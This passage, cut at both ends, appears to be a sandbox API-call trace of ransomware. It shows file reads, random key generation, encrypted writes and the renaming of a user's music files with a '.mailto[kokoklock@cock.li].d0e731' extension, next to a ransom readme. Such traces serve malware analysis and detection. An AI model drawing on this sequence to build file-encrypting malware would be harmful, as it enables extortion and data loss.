dwFileAttributes=0x20) returned 1 [0176.018] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0176.019] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x234ffe70 | out: lpFileSize=0x234ffe70*=86869) returned 1 [0176.019] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x15351, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.019] ReadFile (in: hFile=0x4d0, lpBuffer=0x234ffe44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x234ffe44*, lpNumberOfBytesRead=0x234ffe40*=0x4, lpOverlapped=0x0) returned 1 [0176.020] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.020] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a90 [0176.020] NtQuerySystemTime (in: CurrentTime=0x234ffe1c | out: CurrentTime=0x234ffe1c*=132121213333420703) returned 0x0 [0176.020] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x3f725827 [0176.020] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x9256d253 [0176.020] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xb09870ed [0176.020] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x68c845be [0176.020] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xe06092d5 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x8b5def1 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x6c323976 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x41faa425 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x5f3a41e9 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x59cd3e8b [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x3d01bc59 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xefc8cbb2 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xebedc76c [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xd6917767 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xaa410a55 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xed64f78a [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xc658ca4f [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x58eceaae [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x8b9b8a60 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x864f153 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xb271b072 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xdd732a54 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x2ccdc22d [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x364a9d0 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xb82cb19c [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x1745d955 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xf10e43fa [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xddfe41 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0x78058c43 [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xcd7af74d [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xfc1b6bdd [0176.021] RtlRandom (in: Seed=0x234ffe28 | out: Seed=0x234ffe28) returned 0xff199706 [0176.032] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.032] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x234ffdf4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x234ffdf4*=0x4096, lpOverlapped=0x0) returned 1 [0176.033] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.034] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x234ffdf4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x234ffdf4*=0x4096, lpOverlapped=0x0) returned 1 [0176.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.034] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x15355, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.034] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x234ffe2c, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x234ffe2c*=0x20, lpOverlapped=0x0) returned 1 [0176.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.034] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x234ffe40*=0x8, lpOverlapped=0x0) returned 1 [0176.034] WriteFile (in: hFile=0x4d0, lpBuffer=0x234ffe58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x234ffe58*, lpNumberOfBytesWritten=0x234ffe40*=0x4, lpOverlapped=0x0) returned 1 [0176.034] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x234ffe40*=0x4, lpOverlapped=0x0) returned 1 [0176.035] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x234ffe40*=0x6c, lpOverlapped=0x0) returned 1 [0176.035] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x234ffe40*=0x20, lpOverlapped=0x0) returned 1 [0176.035] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x234ffe40, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x234ffe40*=0x4, lpOverlapped=0x0) returned 1 [0176.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ab8) returned 1 [0176.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.035] CloseHandle (hObject=0x4d0) returned 1 [0176.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10e) returned 0x305c6c0 [0176.035] wcscpy (in: _Dest=0x305c6c0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" [0176.035] wcscat (in: _Dest=0x305c6c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.035] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\p2fabivq8u_s.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.036] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c6c0) returned 1 [0176.036] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\p2faBIvQ8U_s.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.036] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fcf4c8 [0176.037] wcscpy (in: _Dest=0x2fcf4c8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0176.037] wcscat (in: _Dest=0x2fcf4c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" [0176.037] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\d0e731-readme.txt")) returned 0x20 [0176.037] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf4c8) returned 1 [0176.037] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff10e8) returned 1 [0176.037] RtlExitUserThread (Status=0x1) Thread: id = 2444 os_tid = 0xd6c [0176.038] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.038] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0176.038] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2357fcb4 | out: lpFileSize=0x2357fcb4*=76355) returned 1 [0176.038] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x12a3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.039] ReadFile (in: hFile=0x4d0, lpBuffer=0x2357fc88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2357fc88*, lpNumberOfBytesRead=0x2357fc84*=0x4, lpOverlapped=0x0) returned 1 [0176.040] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94a40 [0176.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d38 [0176.040] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ab8 [0176.040] NtQuerySystemTime (in: CurrentTime=0x2357fc60 | out: CurrentTime=0x2357fc60*=132121213333577030) returned 0x0 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x91378271 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x61f7e343 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x37c2420b [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xe5110d44 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xaaf04525 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x44628421 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x891d2872 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xb02a3d59 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x77dfc1a2 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x5654382d [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x80dc6b69 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x78f4a191 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xcf6ddd04 [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x1376070b [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x4c8d212d [0176.040] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x7f078d5c [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xdf011213 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xd5d0120b [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x7034ee83 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xcfdc06f7 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x8e2cd76b [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x61b0343 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x29b8bec0 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xdf97fe66 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x6a85b546 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x428c7e31 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x53c280cf [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0x6650cd2 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xecff497e [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xa1358bc4 [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xdd45565a [0176.041] RtlRandom (in: Seed=0x2357fc6c | out: Seed=0x2357fc6c) returned 0xe2b8ba8c [0176.051] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.051] ReadFile (in: hFile=0x4d0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2357fc38, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x2357fc38*=0x4096, lpOverlapped=0x0) returned 1 [0176.052] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0176.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88fa0 [0176.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ba8 [0176.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94d60 [0176.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d60) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88fa0) returned 1 [0176.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0176.053] WriteFile (in: hFile=0x4d0, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2357fc38, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x2357fc38*=0x4096, lpOverlapped=0x0) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.054] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x12a43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.054] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94ba8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2357fc70, lpOverlapped=0x0 | out: lpBuffer=0x2f94ba8*, lpNumberOfBytesWritten=0x2357fc70*=0x20, lpOverlapped=0x0) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ba8) returned 1 [0176.054] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0176.054] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94c48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2f94c48*, lpNumberOfBytesWritten=0x2357fc84*=0x8, lpOverlapped=0x0) returned 1 [0176.054] WriteFile (in: hFile=0x4d0, lpBuffer=0x2357fc9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2357fc9c*, lpNumberOfBytesWritten=0x2357fc84*=0x4, lpOverlapped=0x0) returned 1 [0176.054] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2357fc84*=0x4, lpOverlapped=0x0) returned 1 [0176.054] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2357fc84*=0x6c, lpOverlapped=0x0) returned 1 [0176.054] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f94d38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2f94d38*, lpNumberOfBytesWritten=0x2357fc84*=0x20, lpOverlapped=0x0) returned 1 [0176.055] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2357fc84, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2357fc84*=0x4, lpOverlapped=0x0) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94d38) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ae0) returned 1 [0176.055] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0176.055] CloseHandle (hObject=0x4d0) returned 1 [0176.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x11e) returned 0x2fa5100 [0176.055] wcscpy (in: _Dest=0x2fa5100, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" [0176.055] wcscat (in: _Dest=0x2fa5100, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.055] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\vw9ww3mrrhhhej hypk8.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.060] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5100) returned 1 [0176.060] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\Vw9ww3MRRHHHej hypk8.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fcfa20 [0176.060] wcscpy (in: _Dest=0x2fcfa20, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\" [0176.060] wcscat (in: _Dest=0x2fcfa20, _Source="D0E731-Readme.txt" | out: 